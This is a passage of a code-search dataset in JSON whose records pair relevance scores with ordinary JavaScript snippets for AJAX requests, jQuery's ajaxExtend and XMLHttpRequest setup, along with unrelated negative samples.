optimization not to call every request (settings.url?)\n $(document).ajaxComplete(() => this.init());\n }", "title": "" }, { "docid": "ab838a51121f2b13b9e8096849b13cb0", "score": "0.5215795", "text": "function mockXHR() {\n this.responseType = DATA_TYPE.TEXT;\n this.responseText = \"\";\n this.async = true;\n this.status = 200;\n this.header = {};\n this.timeout = 70;\n this.open = (method, uri, ASYNC, user, password) => {\n this.uri = uri;\n this.async = ASYNC;\n this.user = user;\n this.method = method;\n };\n this.send = () => {\n this.onload();\n };\n this.setRequestHeader = (header, value) => {\n this.header.header = value;\n };\n this.done = () => {};\n this.fail = () => {};\n this.always = () => {};\n this.then = () => {};\n this.options = {};\n}", "title": "" }, { "docid": "3635934799419dfc1ae608f9a6b6133d", "score": "0.5211275", "text": "function newAjaxRequest(url, method, data = \"\") {\n return $.ajax({\n url: url,\n method: method,\n crossDomain: true,\n data: JSON.stringify(data)\n }).done(function() {\n $('body').hideLoading();\n })\n .fail(function (xhr) {\n $('body').hideLoading();\n switch (xhr.status) {\n case 401:\n toastr.info(msg.unauthorized);\n break;\n case 404:\n toastr.info(msg.notFound);\n break;\n case 409:\n toastr.info(msg.conflict);\n break;\n default:\n toastr.info(msg.fail + msg.contactAdmin);\n break;\n }\n });\n}", "title": "" }, { "docid": "38f72ede4043af48c140874c565c67a9", "score": "0.5208621", "text": "set(method, url, form){\r\n\r\n this.method = method;\r\n this.url = url;\r\n this.form = form;\r\n this.xhr = new XMLHttpRequest();\r\n\r\n return this;\r\n }", "title": "" }, { "docid": "7222b3e47840d1df9b6f2377be8e58ed", "score": "0.5208605", "text": "_initRequest() {\n const xhr = this.xhr = new XMLHttpRequest();\n\n xhr.open( 'POST', this.url, true );\n xhr.responseType = 'json';\n }", "title": "" }, { "docid": "1225c434248f165f025d3644e4da0cb6", "score": "0.51996166", "text": "_initRequest() {\n // const xhr = this.xhr = new XMLHttpRequest();\n\n // xhr.open('POST', this.url, true);\n // xhr.responseType = 'json';\n // xhr.setRequestHeader('Access-Control-Allow-Origin', '*')\n // XMLHttpRequest.setRequestHeader('', value)\n // xhr.setRequestHeader('Authorization', getToken())\n }", "title": "" }, { "docid": "8ac1f60e6a5c3b9c1594a44f9f313465", "score": "0.5197262", "text": "function ajaxObject() {\n var xmlhttp;\n //Detect browser(microsoft ie or other)\n if(window.XMLHttpRequest) {\n xmlhttp = new XMLHttpRequest();\n } else {\n xmlhttp = new ActiveXObject(\"Microsoft.XMLHTTP\");\n }//fi\n return xmlhttp;\n }//End fo ajaxObject().", "title": "" }, { "docid": "b38969cd22c4a898a41dfd10ae8fdb2d", "score": "0.51968807", "text": "function r(t,n,r,s){var c,d,p,w,x,C=n;\n// Ignore repeat invocations\nl||(l=!0,\n// Clear timeout if it exists\nu&&e.clearTimeout(u),\n// Dereference transport for early garbage collection\n// (no matter how long the jqXHR object will be used)\ni=void 0,\n// Cache response headers\na=s||\"\",\n// Set readyState\nT.readyState=t>0?4:0,\n// Determine if successful\nc=t>=200&&t<300||304===t,\n// Get response data\nr&&(w=Z(h,T,r)),\n// Convert no matter what (that way responseXXX fields are always set)\nw=ee(h,w,T,c),\n// If successful, handle type chaining\nc?(\n// Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.\nh.ifModified&&(x=T.getResponseHeader(\"Last-Modified\"),x&&(ge.lastModified[o]=x),x=T.getResponseHeader(\"etag\"),x&&(ge.etag[o]=x)),\n// if no content\n204===t||\"HEAD\"===h.type?C=\"nocontent\":304===t?C=\"notmodified\":(C=w.state,d=w.data,p=w.error,c=!p)):(\n// Extract error from statusText and normalize for non-aborts\np=C,!t&&C||(C=\"error\",t<0&&(t=0))),\n// Set data for the fake xhr object\nT.status=t,T.statusText=(n||C)+\"\",\n// Success/Error\nc?m.resolveWith(g,[d,C,T]):m.rejectWith(g,[T,C,p]),\n// Status-dependent callbacks\nT.statusCode(b),b=void 0,f&&v.trigger(c?\"ajaxSuccess\":\"ajaxError\",[T,h,c?d:p]),\n// Complete\ny.fireWith(g,[T,C]),f&&(v.trigger(\"ajaxComplete\",[T,h]),\n// Handle the global AJAX counter\n--ge.active||ge.event.trigger(\"ajaxStop\")))}", "title": "" }, { "docid": "2e5573f358042c8da70542fc3b689b90", "score": "0.51912796", "text": "function ajax(that, params) {\n var url, fancy, obj, data, dataType;\n \n dataType = '';\n \n if (that) {\n event.preventDefault();\n url = $(that).attr('data-url');\n if ($(that).attr('data-fancy'))\n params['action'] = fctFancy;\n obj = $('#' + $(that).attr('data-replace'));\n history.pushState({}, '', $(that).attr(\"href\"));\n } else {\n url = base_url + params['url'];\n obj = params['obj'];\n if(params['data'] != undefined)\n data = params['data'];\n \n if(params['dataType'] != undefined){\n dataType = params['dataType'] ;\n } \n \n fancy = false;\n }\n //For autocomplete part\n if (params && params['autocomplete']) {\n params['action'] = fctAutocomplete;\n data = {\n limit: params['autocomplete']['limit'],\n term: params['autocomplete']['request'].term\n };\n dataType = 'jsonp';\n }\n\n\n if (!params || params && !params['autocomplete'])\n $(obj).addClass('opacity');\n\n $.ajax({\n type: \"POST\",\n url: url,\n dataType: dataType,\n data: data,\n success: function(data) {\n $(obj).removeClass('opacity');\n if (params && params['action']) {\n params['action'](data, params);\n } else {\n obj.html(data);\n }\n },\n error: function(data) {\n return 0;\n }\n });\n return false;\n}", "title": "" }, { "docid": "a667407e7267bf14ad98f20b76f26335", "score": "0.519022", "text": "static initialize(obj, request, response) { \n obj['request'] = request;\n obj['response'] = response;\n }", "title": "" }, { "docid": "8f186fd1d14525f6b70215709a4d1b91", "score": "0.518909", "text": "function ajaxExtend( target, src ) {\n\tvar key, deep,\n\t\tflatOptions = jQuery.ajaxSettings.flatOptions || {};\n\tfor ( key in src ) {\n\t\tif ( src[ key ] !== undefined ) {\n\t\t\t( flatOptions[ key ] ? target : ( deep || ( deep = {} ) ) )[ key ] = src[ key ];\n\t\t}\n\t}\n\tif ( deep ) {\n\t\tjQuery.extend( true, target, deep );\n\t}\n\treturn target;\n}", "title": "" }, { "docid": "eed1a848ebadad34a69b92e995a4fdc6", "score": "0.5187695", "text": "static initialize(obj, strictSSL, followRedirects, requestTimeout, requestDelay) { \n obj['strictSSL'] = strictSSL;\n obj['followRedirects'] = followRedirects;\n obj['requestTimeout'] = requestTimeout;\n obj['requestDelay'] = requestDelay;\n }", "title": "" }, { "docid": "4b625d94fe89b25eb84736200f7df434", "score": "0.51873726", "text": "function ajaxExtend(target, src) {\n\t\t\t\t\t\t\t\tvar deep,\n\t\t\t\t\t\t\t\t key,\n\t\t\t\t\t\t\t\t flatOptions = jQuery.ajaxSettings.flatOptions || {};\n\n\t\t\t\t\t\t\t\tfor (key in src) {\n\t\t\t\t\t\t\t\t\tif (src[key] !== undefined) {\n\t\t\t\t\t\t\t\t\t\t(flatOptions[key] ? target : deep || (deep = {}))[key] = src[key];\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif (deep) {\n\t\t\t\t\t\t\t\t\tjQuery.extend(true, target, deep);\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\treturn target;\n\t\t\t\t\t\t\t}", "title": "" }, { "docid": "2bd17151a687b33e5911cb1f650dbdce", "score": "0.51863843", "text": "function ajaxExtend( target, src ) {\n\n\tvar key, deep,\n\n\t\tflatOptions = jQuery.ajaxSettings.flatOptions || {};\n\n\n\n\tfor ( key in src ) {\n\n\t\tif ( src[ key ] !== undefined ) {\n\n\t\t\t( flatOptions[ key ] ? target : ( deep || ( deep = {} ) ) )[ key ] = src[ key ];\n\n\t\t}\n\n\t}\n\n\tif ( deep ) {\n\n\t\tjQuery.extend( true, target, deep );\n\n\t}\n\n\n\n\treturn target;\n\n}", "title": "" }, { "docid": "238a0860dc908b2652b68794c0c109b9", "score": "0.5185751", "text": "function _ajaxOptions(url, data, args){\n var options = {};\n if(arguments.length === 1)\n options = url;\n else{\n options = args || {};\n options[\"url\"] = url;\n if(data){\n $.extend(options,{data: data});\n }\n }\n // console.dir(options);\n return options;\n}", "title": "" }, { "docid": "4e18f938b90ddfc97918306197be360f", "score": "0.5175958", "text": "function createStandardXHR() {\n\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\treturn new window.XMLHttpRequest();\n\t\t\t\t\t\t\t\t} catch (e) {}\n\t\t\t\t\t\t\t}", "title": "" }, { "docid": "ccf8e5a3783451a85b4f701627069abd", "score": "0.51626194", "text": "function initRequest() {\n if (window.XMLHttpRequest) {\n if (navigator.userAgent.indexOf('MSIE') != -1) {\n isIE = true;\n }\n return new XMLHttpRequest();\n } else if (window.ActiveXObject) {\n isIE = true;\n return new ActiveXObject(\"Microsoft.XMLHTTP\");\n }\n}", "title": "" }, { "docid": "350994d1b0d01e4506160f10da1a525b", "score": "0.5162563", "text": "function ajaxExtend( target, src ) {\n\tvar deep, key,\n\t\tflatOptions = jQuery.ajaxSettings.flatOptions || {};\n\n\tfor ( key in src ) {\n\t\tif ( src[ key ] !== undefined ) {\n\t\t\t( flatOptions[ key ] ? target : ( deep || (deep = {}) ) )[ key ] = src[ key ];\n\t\t}\n\t}\n\tif ( deep ) {\n\t\tjQuery.extend( true, target, deep );\n\t}\n\n\treturn target;\n}", "title": "" }, { "docid": "350994d1b0d01e4506160f10da1a525b", "score": "0.5162563", "text": "function ajaxExtend( target, src ) {\n\tvar deep, key,\n\t\tflatOptions = jQuery.ajaxSettings.flatOptions || {};\n\n\tfor ( key in src ) {\n\t\tif ( src[ key ] !== undefined ) {\n\t\t\t( flatOptions[ key ] ? target : ( deep || (deep = {}) ) )[ key ] = src[ key ];\n\t\t}\n\t}\n\tif ( deep ) {\n\t\tjQuery.extend( true, target, deep );\n\t}\n\n\treturn target;\n}", "title": "" }, { "docid": "350994d1b0d01e4506160f10da1a525b", "score": "0.5162563", "text": "function ajaxExtend( target, src ) {\n\tvar deep, key,\n\t\tflatOptions = jQuery.ajaxSettings.flatOptions || {};\n\n\tfor ( key in src ) {\n\t\tif ( src[ key ] !== undefined ) {\n\t\t\t( flatOptions[ key ] ? target : ( deep || (deep = {}) ) )[ key ] = src[ key ];\n\t\t}\n\t}\n\tif ( deep ) {\n\t\tjQuery.extend( true, target, deep );\n\t}\n\n\treturn target;\n}", "title": "" }, { "docid": "350994d1b0d01e4506160f10da1a525b", "score": "0.5162563", "text": "function ajaxExtend( target, src ) {\n\tvar deep, key,\n\t\tflatOptions = jQuery.ajaxSettings.flatOptions || {};\n\n\tfor ( key in src ) {\n\t\tif ( src[ key ] !== undefined ) {\n\t\t\t( flatOptions[ key ] ? target : ( deep || (deep = {}) ) )[ key ] = src[ key ];\n\t\t}\n\t}\n\tif ( deep ) {\n\t\tjQuery.extend( true, target, deep );\n\t}\n\n\treturn target;\n}", "title": "" }, { "docid": "350994d1b0d01e4506160f10da1a525b", "score": "0.5162563", "text": "function ajaxExtend( target, src ) {\n\tvar deep, key,\n\t\tflatOptions = jQuery.ajaxSettings.flatOptions || {};\n\n\tfor ( key in src ) {\n\t\tif ( src[ key ] !== undefined ) {\n\t\t\t( flatOptions[ key ] ? target : ( deep || (deep = {}) ) )[ key ] = src[ key ];\n\t\t}\n\t}\n\tif ( deep ) {\n\t\tjQuery.extend( true, target, deep );\n\t}\n\n\treturn target;\n}", "title": "" }, { "docid": "350994d1b0d01e4506160f10da1a525b", "score": "0.5162563", "text": "function ajaxExtend( target, src ) {\n\tvar deep, key,\n\t\tflatOptions = jQuery.ajaxSettings.flatOptions || {};\n\n\tfor ( key in src ) {\n\t\tif ( src[ key ] !== undefined ) {\n\t\t\t( flatOptions[ key ] ? target : ( deep || (deep = {}) ) )[ key ] = src[ key ];\n\t\t}\n\t}\n\tif ( deep ) {\n\t\tjQuery.extend( true, target, deep );\n\t}\n\n\treturn target;\n}", "title": "" } ]
5714268dee1811157bea7ca7cd93ad37
creating a generator object
[ { "docid": "9784528b26a68ed484f92d01442c8555", "score": "0.0", "text": "function iterate(iteration){ //recursive function to iterate through promises\n if(iteration.done) //stop iterating when done and return the final value wrapped in a promise\n return Promise.resolve(iteration.value);\n return Promise.resolve(iteration.value) //returns a promise with its then() and catch() methods filled\n .then(x => iterate(genObject.next(x))) //calls recursive function on the next value to be iterated\n .catch(x => iterate(genObject.throw(x))); //throws an error if a rejection is encountered\n }", "title": "" } ]
[ { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" }, { "docid": "798786d1c5202fe85fcff39e0beed3f7", "score": "0.8494228", "text": "function Generator() {}", "title": "" } ]
8daad71a570a139a7eda4d009edc9674
Analista PARA OBTENER ELEMENTOS PARTICULARES DEL SERVICIO
[ { "docid": "514622650e58794cfef3c1a51d4e93f5", "score": "0.6050942", "text": "function GetElementos() {\n jQuery.support.cors = true;\n $.ajax({\n url: ''+ global + '/GEmpleados',\n type: 'GET',\n dataType: 'json', \n success: function (data) { \n WriteResponse(data);\n },\n error: function (x, y, z) {\n alert(x + '\\n' + y + '\\n' + z);\n }\n }); \n }", "title": "" } ]
[ { "docid": "8a1fb284e439597904ad73e9c019c079", "score": "0.6599586", "text": "function consultaInformacion(){\n panelesSistema.forEach (function (item){\n \tpostEstadoAPI(item); \n });\n }", "title": "" }, { "docid": "446240397d6914ba97a3c3f5daeb602b", "score": "0.62648046", "text": "function serachProcesoorigen() {\n var getData = \"\";\n var url = route + \"/api/ProcesoOrigen/SearchAll\";\n //var dataToPost = JSON.stringify(clave);\n var Mensaje = Common.sendRequestJson('POST', url, undefined, undefined, false);\n if (Mensaje.resultado === null) {\n alert(\"No object\");\n } else {\n addProcesoOrigen(Mensaje.resultado);\n }\n\n}", "title": "" }, { "docid": "8a16fbf7832a4faf6ed3d972995acfad", "score": "0.6231023", "text": "function carregarServico(){\n\t$(document).ready( function(){\n var id = $(\"#ID\").val();\n\n\t\tconsole.log(id);\n\n\t\tvar xhr = new XMLHttpRequest();\n xhr.open(\"GET\", \"http://localhost:3000/utils/servicesById/\"+id, true);\n\n xhr.onload = function() {\n var text = xhr.responseText;\n console.log(JSON.parse(text).length);\n console.log(text);\n\n\t\t\tif(text===\"erro\"){\n\t\t\t\talert(\"Erro para achar o servico\");\n\t\t\t}else{\n\t\t\t\ttext = text.split(\"}\")\n\t\t\t\ttext.pop();\n\t\t\t\tconsole.log(text)\n\t\t\t\tlist = []\n\t\t\t\tfor (var i = 0; i < text.length; i++) {\n\t\t\t\t\ttext[i] = text[i].substr(1) + \"}\";\n\t\t\t\t\tlist.push(JSON.parse(text[i]));\n\t\t\t\t}\n\n\t\t\t\t$(\"#productName\").val(list[0].name);\n\t\t\t\t$(\"#photo\")\n .attr('src', list[0].photo)\n .width(130)\n .height(130);\n\t\t\t\t$(\"#descricao\").val(list[0].descricao);\n\t\t\t\t$(\"#price\").val(list[0].preco);\n\t\t\t\t$(\"#hour\").val(list[0].hora);\n\t\t\t\t$(\"#date\").val(list[0].date);\n\t\t\t}\n\n // console.log(list);\n };\n xhr.onerror = function() {\n alert('Woops, there was an error making the request.');\n };\n xhr.send(null);\n\n });\n}", "title": "" }, { "docid": "9919a5251f73e0d350e5d8d24b6fafaf", "score": "0.61990213", "text": "async function todasActividadesUsuario(e) {\n e.preventDefault();\n const _id_usuario = document.querySelector('#idTodasActividadesUsuario').value;\n \n let actividadesSimples = await fetch(\"http://localhost:3000/api/actividades/usuario/\"+_id_usuario, \n {\n method: 'get',\n headers: {\n 'Authorization':'Bearer '+ document.querySelector('#tokenTodasActividadesUsuario').value\n }\n })\n .then(resp => resp.json())\n\n //Borramos el contenedor\n let contenedorTAUsuario = document.querySelector(\"#contenedorTodasActividadesUsuario\");\n borrarContenedor(contenedorTAUsuario);\n\n //Añadimos la info de cada actividad:\n for(let actividadSimple of actividadesSimples){\n contenedorTAUsuario.appendChild(AHTML.aActividadSimple(actividadSimple));\n }\n console.log(actividadesSimples);\n}", "title": "" }, { "docid": "f93f33d3a7ecbe311ba78c8ddde2713c", "score": "0.6170835", "text": "function liensWeb()\n{\n ajaxGet(\"https://oc-jswebsrv.herokuapp.com/api/liens\", function (response) {\n let listeLiens = JSON.parse(response);\n displayEltsOnServ(listeLiens);\n });\n}", "title": "" }, { "docid": "c9b9ca9a43812ffec52853d75d0c135b", "score": "0.60808516", "text": "async function mostrarServicios() {\n try {\n\n const url = \"http://localhost:5000/servicios.php\";\n const resultado = await fetch(url);\n const db = await resultado.json();\n\n // const { servicios } = db; // ==> Destructuring\n // console.log(db);\n\n\n //generar el HTML\n db.forEach(servicio => {\n const { id, nombre, precio } = servicio;\n\n //DOM Scripting\n\n // generar nombre de servicio\n const nombreServicio = document.createElement('P'); // crea un parrafo para cada id\n nombreServicio.textContent = nombre;\n nombreServicio.classList.add('nombre-servicio');\n\n // Generar el precio del servicio\n precioServicio = document.createElement('P'); // crea un parrafo para cada precio de los id\n precioServicio.textContent = `$ ${precio}`;\n precioServicio.classList.add('precio-servicio');\n\n // Generar Div contenedor de servicios\n const servicioDiv = document.createElement('DIV'); // se crea un DIV\n servicioDiv.classList.add('servicio'); // se le agrega la clase servicio\n\n // leer el dataset id y agregarlo en el servicioDiv\n servicioDiv.dataset.idServicios = id;\n\n //funcion para seleccionar el div con onclick\n servicioDiv.onclick = seleccionarServicio;\n\n // Inyectar precio y nombre junto al div de servicio\n servicioDiv.appendChild(nombreServicio); // se le pone como higjo nombreServicio\n servicioDiv.appendChild(precioServicio);\n\n\n\n\n // Inyectarlo en el HTML\n document.querySelector('#servicios').appendChild(servicioDiv); // appendchild para inyectar al HTML\n\n\n //debugging\n // console.log(nombreServicio);\n // console.log(precioServicio);\n\n\n });\n\n\n } catch (error) {\n console.log('Ha ocurrido un error');\n\n }\n}", "title": "" }, { "docid": "3ff150648edf1460182a64dec56a4775", "score": "0.6067626", "text": "function getElement() {\n IngredientService.getElement($scope.paramt_id, $rootScope.userLogin.token).success(function (res) {\n res.status = String(res.status);\n res.type_search = String(res.type_search);\n res.brand = String(res.brand.id);\n $scope.detail = res;\n $scope.detail.type = res.type.id;\n getListType();\n getListBrand($scope.detail.type);\n }).error(function (err, status, res) {\n if (err.detail){\n toastr.error(err.detail);\n }\n for( var key in err){\n var x = 'err.'+key;\n toastr.error(key.toUpperCase()+\": \"+eval(x)[0]);\n }\n })\n }", "title": "" }, { "docid": "e570124e5b6fd867a3c289215c6c9e1f", "score": "0.6059035", "text": "function notificar() {\n for (let indice = 0; indice < self.observadores.length; indice++) {\n observadores(self.substituicoes);\n }\n }", "title": "" }, { "docid": 